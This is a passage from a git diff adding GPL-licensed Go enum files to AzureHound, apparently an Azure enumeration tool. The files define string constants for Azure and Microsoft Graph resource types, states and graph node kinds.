ConnectionStringType = "MySql" + NotificationHubConnectionStringType ConnectionStringType = "NotificationHub" + PostgreSQLConnectionStringType ConnectionStringType = "PostgreSQL" + RedisCacheConnectionStringType ConnectionStringType = "RedisCache" + SQLAzureConnectionStringType ConnectionStringType = "SQLAzure" + SQLServerConnectionStringType ConnectionStringType = "SQLServer" + ServiceBusConnectionStringType ConnectionStringType = "ServiceBus" +) diff --git a/enums/consentforminor.go b/enums/consentforminor.go new file mode 100644 index 0000000..eff3138 --- /dev/null +++ b/enums/consentforminor.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ConsentForMinor string + +const ( + // Consent has been obtained for the user to have an account. + ConsentForMinorGranted ConsentForMinor = "granted" + + // Consent has not been obtained for the user to have an account. + ConsentForMinorDenied ConsentForMinor = "denied" + + // The user is from a location that does not require consent. + ConsentForMinorNotRequired ConsentForMinor = "notRequired" +) diff --git a/enums/createmode.go b/enums/createmode.go new file mode 100644 index 0000000..cb8fd09 --- /dev/null +++ b/enums/createmode.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// The vault's create mode to indicate whether the vault need to be recovered or not. +type CreateMode string + +const ( + CreateModeDefault CreateMode = "default" + CreateModeRecover CreateMode = "recover" +) diff --git a/enums/creationtype.go b/enums/creationtype.go new file mode 100644 index 0000000..2b561ac --- /dev/null +++ b/enums/creationtype.go @@ -0,0 +1,35 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type CreationType string + +const ( + // User was created as an external account. + CreationTypeInvitation CreationType = "Invitation" + + // User was created as a local account for an Azure AD B2C tenant. + CreationTypeLocalAccount CreationType = "LocalAccount" + + // User was created through self-service sign-up by an internal user using email verification. + CreationTypeEmailVerified CreationType = "EmailVerified" + + // User was created through self-service sign-up by an external user signing up through a link that is part of a + // user flow. + CreationTypeSelfServiceSignUp CreationType = "SelfServiceSignUp" +) diff --git a/enums/dayofweek.go b/enums/dayofweek.go new file mode 100644 index 0000000..c61b08b --- /dev/null +++ b/enums/dayofweek.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type DayOfWeek string + +const ( + DayOfWeekMonday DayOfWeek = "monday" + DayOfWeekTuesday DayOfWeek = "tuesday" + DayOfWeekWednesday DayOfWeek = "wednesday" + DayOfWeekThursday DayOfWeek = "thursday" + DayOfWeekFriday DayOfWeek = "friday" + DayOfWeekSaturday DayOfWeek = "saturday" + DayOfWeekSunday DayOfWeek = "sunday" +) diff --git a/enums/deviceprofile.go b/enums/deviceprofile.go new file mode 100644 index 0000000..9f2c3ee --- /dev/null +++ b/enums/deviceprofile.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type DeviceProfile string + +const ( + DeviceProfileRegisteredDevice DeviceProfile = "RegisteredDevice" + DeviceProfileSecureVM DeviceProfile = "SecureVM" + DeviceProfilePrinter DeviceProfile = "Printer" + DeviceProfileShared DeviceProfile = "Shared" + DeviceProfileIoT DeviceProfile = "IoT" +) diff --git a/enums/directory_service_options.go b/enums/directory_service_options.go new file mode 100644 index 0000000..4d6b320 --- /dev/null +++ b/enums/directory_service_options.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type DirectoryServiceOptions string + +const ( + AADDSService DirectoryServiceOptions = "AADDS" + ADService DirectoryServiceOptions = "AD" + NoService DirectoryServiceOptions = "None" +) diff --git a/enums/dns_endpoint_type.go b/enums/dns_endpoint_type.go new file mode 100644 index 0000000..3404360 --- /dev/null +++ b/enums/dns_endpoint_type.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type DnsEndpointType string + +const ( + AzureDnsZone DnsEndpointType = "AzureDnsZone" + StandardZone DnsEndpointType = "Standard" +) diff --git a/enums/encryption_key_source_type.go b/enums/encryption_key_source_type.go new file mode 100644 index 0000000..638290f --- /dev/null +++ b/enums/encryption_key_source_type.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type EncryptionKeySourceType string + +const ( + AutomationSource EncryptionKeySourceType = "Microsoft.Automation" + KeyvaultSource EncryptionKeySourceType = "Microsoft.Keyvault" + StorageSource EncryptionKeySourceType = "Microsoft.Storage" +) diff --git a/enums/encryption_key_type.go b/enums/encryption_key_type.go new file mode 100644 index 0000000..fb5ccc8 --- /dev/null +++ b/enums/encryption_key_type.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type EncryptionKeyType string + +const ( + AccountKeyType EncryptionKeyType = "Account" + ServiceKeyType EncryptionKeyType = "Service" +) diff --git a/enums/endpointconnectionstatus.go b/enums/endpointconnectionstatus.go new file mode 100644 index 0000000..5d4a008 --- /dev/null +++ b/enums/endpointconnectionstatus.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// The private endpoint connection status. +type EndpointConnectionStatus string + +const ( + EndpointConnectionStatusApproved EndpointConnectionStatus = "Approved" + EndpointConnectionStatusDisconnect EndpointConnectionStatus = "Disconnected" + EndpointConnectionStatusPending EndpointConnectionStatus = "Pending" + EndpointConnectionStatusRejected EndpointConnectionStatus = "Rejected" +) diff --git a/enums/endpointprovisioningstate.go b/enums/endpointprovisioningstate.go new file mode 100644 index 0000000..d7a26b9 --- /dev/null +++ b/enums/endpointprovisioningstate.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// The private endpoint provisioning state. +type EndpointProvisioningState string + +const ( + EndpointProvisioningStateCreating EndpointProvisioningState = "Creating" + EndpointProvisioningStateDeleting EndpointProvisioningState = "Deleting" + EndpointProvisioningStateDisconnected EndpointProvisioningState = "Disconnected" + EndpointProvisioningStateFailed EndpointProvisioningState = "Failed" + EndpointProvisioningStateSucceeded EndpointProvisioningState = "Succeeded" + EndpointProvisioningStateUpdating EndpointProvisioningState = "Updating" +) diff --git a/enums/entity.go b/enums/entity.go new file mode 100644 index 0000000..63724f3 --- /dev/null +++ b/enums/entity.go @@ -0,0 +1,62 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type Entity = string + +const ( + EntityUser Entity = "#microsoft.graph.user" + EntityInvitation Entity = "#microsoft.graph.invitation" + EntityAppTemplate Entity = "#microsoft.graph.applicationTemplate" + EntityAuthMethodConfig Entity = "#microsoft.graph.authenticationMethodConfiguration" + EntityIdentityProvider Entity = "#microsoft.graph.identityProvider" + EntityApplication Entity = "#microsoft.graph.application" + EntityCertBasedAuthConfig Entity = "#microsoft.graph.certificateBasedAuthConfiguration" + EntityOrgContact Entity = "#microsoft.graph.orgContact" + EntityContract Entity = "#microsoft.graph.contract" + EntityDevice Entity = "#microsoft.graph.device" + EntityDirectoryObject Entity = "#microsoft.graph.directoryObject" + EntityDirectoryRole Entity = "#microsoft.graph.directoryRole" + EntityDirectoryRoleTemplate Entity = "#microsoft.graph.directoryRoleTemplate" + EntityDomainDNSRecord Entity = "#microsoft.graph.domainDnsRecord" + EntityDomain Entity = "#microsoft.graph.domain" + EntityGroup Entity = "#microsoft.graph.group" + EntityGroupSetting Entity = "#microsoft.graph.groupSetting" + EntityGroupSettingTemplate Entity = "#microsoft.graph.groupSettingTemplate" + EntityOrgBrandingLocalization Entity = "#microsoft.graph.organizationalBrandingLocalization" + EntityOAuth2PermissionGrant Entity = "#microsoft.graph.oAuth2PermissionGrant" + EntityOrganization Entity = "#microsoft.graph.organization" + EntityResourcePermissionGrant Entity = "#microsoft.graph.resourceSpecificPermissionGrant" + EntityScopedRoleMembership Entity = "#microsoft.graph.scopedRoleMembership" + EntityServicePrincipal Entity = "#microsoft.graph.servicePrincipal" + EntitySubscribedSku Entity = "#microsoft.graph.subscribedSku" + EntityPlace Entity = "#microsoft.graph.place" + EntityDrive Entity = "#microsoft.graph.drive" + EntitySharedDriveItem Entity = "#microsoft.graph.sharedDriveItem" + EntitySite Entity = "#microsoft.graph.site" + EntitySchemaExt Entity = "#microsoft.graph.schemaExtension" + EntityGroupLifecyclePolicy Entity = "#microsoft.graph.groupLifecyclePolicy" + EntityAgreementAcceptance Entity = "#microsoft.graph.agreementAcceptance" + EntityAgreement Entity = "#microsoft.graph.agreement" + EntityDataPolicyOperation Entity = "#microsoft.graph.dataPolicyOperation" + EntitySubscription Entity = "#microsoft.graph.subscription" + EntityExternalConnection Entity = "#microsoft.graph.externalConnection" + EntityChat Entity = "#microsoft.graph.chat" + EntityTeam Entity = "#microsoft.graph.team" + EntityTeamsTemplate Entity = "#microsoft.graph.teamsTemplate" +) diff --git a/enums/externalaudiencescope.go b/enums/externalaudiencescope.go new file mode 100644 index 0000000..614f642 --- /dev/null +++ b/enums/externalaudiencescope.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ExternalAudienceScope string + +const ( + ExternalAudienceScopeNone ExternalAudienceScope = "none" + ExternalAudienceScopeContactsOnly ExternalAudienceScope = "contactsOnly" + ExternalAudienceScopeAll ExternalAudienceScope = "all" +) diff --git a/enums/externaluserstate.go b/enums/externaluserstate.go new file mode 100644 index 0000000..2ce35da --- /dev/null +++ b/enums/externaluserstate.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ExternalUserState string + +const ( + ExternalUserStateAccepted ExternalUserState = "Accepted" + ExternalUserStatePendingAcceptance ExternalUserState = "PendingAcceptance" +) diff --git a/enums/ftps_state.go b/enums/ftps_state.go new file mode 100644 index 0000000..6567f80 --- /dev/null +++ b/enums/ftps_state.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type FtpsState string + +const ( + AllAllowedFtpsState FtpsState = "AllAllowed" + DisabledFtpsState FtpsState = "Disabled" + FtpsOnlyFtpsState FtpsState = "FtpsOnly" +) diff --git a/enums/generic_enabled_disabled.go b/enums/generic_enabled_disabled.go new file mode 100644 index 0000000..c148dbd --- /dev/null +++ b/enums/generic_enabled_disabled.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type GenericEnabledDisabled string + +const ( + Enabled GenericEnabledDisabled = "Enabled" + Disabled GenericEnabledDisabled = "Disabled" +) diff --git a/enums/geo_replication_status.go b/enums/geo_replication_status.go new file mode 100644 index 0000000..9ec93c0 --- /dev/null +++ b/enums/geo_replication_status.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type GeoReplicationStatus string + +const ( + BootstrapStatus GeoReplicationStatus = "Bootstrap" + LiveStatus GeoReplicationStatus = "Live" + Unavailable GeoReplicationStatus = "Unavailable" +) diff --git a/enums/groupvisibility.go b/enums/groupvisibility.go new file mode 100644 index 0000000..7d8fb59 --- /dev/null +++ b/enums/groupvisibility.go @@ -0,0 +1,38 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// Specifies the group join policy and group content visibility for groups. +type GroupVisibility string + +const ( + // Owner permission is needed to join the group. + // Non-members cannot view the contents of the group. + GroupVisibilityPrivate GroupVisibility = "Private" + + // Anyone can join the group without needing owner permission. + // Anyone can view the contents of the group. + GroupVisibilityPublic GroupVisibility = "Public" + + // Owner permission is needed to join the group. + // Non-members cannot view the contents of the group. + // Non-members cannot see the members of the group. + // Administrators (global, company, user, and helpdesk) can view the membership of the group. + // The group appears in the global address book (GAL). + GroupVisibilityHidden GroupVisibility = "Hiddenmembership" +) diff --git a/enums/hosttype.go b/enums/hosttype.go new file mode 100644 index 0000000..998f891 --- /dev/null +++ b/enums/hosttype.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type HostType string + +const ( + RepositoryHostType HostType = "Repository" + StandardHostType HostType = "Standard" +) diff --git a/enums/hypervgeneration.go b/enums/hypervgeneration.go new file mode 100644 index 0000000..0cb8dae --- /dev/null +++ b/enums/hypervgeneration.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type HyperVGeneration string + +const ( + HyperVGenerationV1 HyperVGeneration = "V1" + HyperVGenerationV2 HyperVGeneration = "V2" +) diff --git a/enums/identity.go b/enums/identity.go new file mode 100644 index 0000000..acd6b4e --- /dev/null +++ b/enums/identity.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// The type of Identity used for the virtual machine. +// The type 'SystemAssigned, UserAssigned' includes both an implicitly created Identity and a set of user assigned +// identities. The type 'None' will remove any identities from the virtual machine. +type Identity string + +const ( + IdentityNone Identity = "None" + IdentitySystemAssigned Identity = "SystemAssigned" + IdentitySystemAssignedUserAssigned Identity = "SystemAssigned, UserAssigned" + IdentityUserAssigned Identity = "UserAssigned" +) diff --git a/enums/immutability_policy_state.go b/enums/immutability_policy_state.go new file mode 100644 index 0000000..e4fc85f --- /dev/null +++ b/enums/immutability_policy_state.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ImmutabilityPolicyState string + +const ( + LockedPolicyState ImmutabilityPolicyState = "Locked" + UnlockedPolicyState ImmutabilityPolicyState = "Unlocked" +) diff --git a/enums/immutability_policy_update_type.go b/enums/immutability_policy_update_type.go new file mode 100644 index 0000000..879e6e6 --- /dev/null +++ b/enums/immutability_policy_update_type.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ImmutabilityPolicyUpdateType string + +const ( + ExtendUpdateType ImmutabilityPolicyUpdateType = "extend" + LockUpdateType ImmutabilityPolicyUpdateType = "lock" + PutUpdateType ImmutabilityPolicyUpdateType = "put" +) diff --git a/enums/ip_filter_tag.go b/enums/ip_filter_tag.go new file mode 100644 index 0000000..341d53b --- /dev/null +++ b/enums/ip_filter_tag.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type IpFilterTag string + +const ( + DefaultIpFilterTag IpFilterTag = "Default" + ServiceTagIpFilterTag IpFilterTag = "ServiceTag" + XffProxyIpFilterTag IpFilterTag = "ManXffProxyual" +) diff --git a/enums/ipallocationmethod.go b/enums/ipallocationmethod.go new file mode 100644 index 0000000..eaa4449 --- /dev/null +++ b/enums/ipallocationmethod.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type IPAllocationMethod string + +const ( + IPAllocationMethodDynamic IPAllocationMethod = "Dynamic" + IPAllocationMethodStatic IPAllocationMethod = "Static" +) diff --git a/enums/ipsku.go b/enums/ipsku.go new file mode 100644 index 0000000..10a55ca --- /dev/null +++ b/enums/ipsku.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type IPSku string + +const ( + IPSkuBasic IPSku = "Basic" + IPSkuStandard IPSku = "Standard" +) diff --git a/enums/ipskutier.go b/enums/ipskutier.go new file mode 100644 index 0000000..ae6d455 --- /dev/null +++ b/enums/ipskutier.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type IPSkuTier string + +const ( + IPSkuTierGlobal IPSkuTier = "Global" + IPSkuTierRegional IPSkuTier = "Regional" +) diff --git a/enums/key-vault-access-type.go b/enums/key-vault-access-type.go new file mode 100644 index 0000000..d0a2fed --- /dev/null +++ b/enums/key-vault-access-type.go @@ -0,0 +1,34 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type KeyVaultAccessType = string + +const ( + GetCerts KeyVaultAccessType = "GetCerts" + GetKeys KeyVaultAccessType = "GetKeys" + GetSecrets KeyVaultAccessType = "GetSecrets" +) + +func KeyVaultAccessPolicies() []KeyVaultAccessType { + return []KeyVaultAccessType{ + GetCerts, + GetKeys, + GetSecrets, + } +} diff --git a/enums/kind.go b/enums/kind.go new file mode 100644 index 0000000..9d3fbd9 --- /dev/null +++ b/enums/kind.go @@ -0,0 +1,83 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type Kind string + +const ( + KindAZApp Kind = "AZApp" + KindAZAppMember Kind = "AZAppMember" + KindAZAppOwner Kind = "AZAppOwner" + KindAZDevice Kind = "AZDevice" + KindAZDeviceOwner Kind = "AZDeviceOwner" + KindAZGroup Kind = "AZGroup" + KindAZGroupMember Kind = "AZGroupMember" + KindAZGroupOwner Kind = "AZGroupOwner" + KindAZKeyVault Kind = "AZKeyVault" + KindAZKeyVaultAccessPolicy Kind = "AZKeyVaultAccessPolicy" + KindAZKeyVaultContributor Kind = "AZKeyVaultContributor" + KindAZKeyVaultKVContributor Kind = "AZKeyVaultKVContributor" + 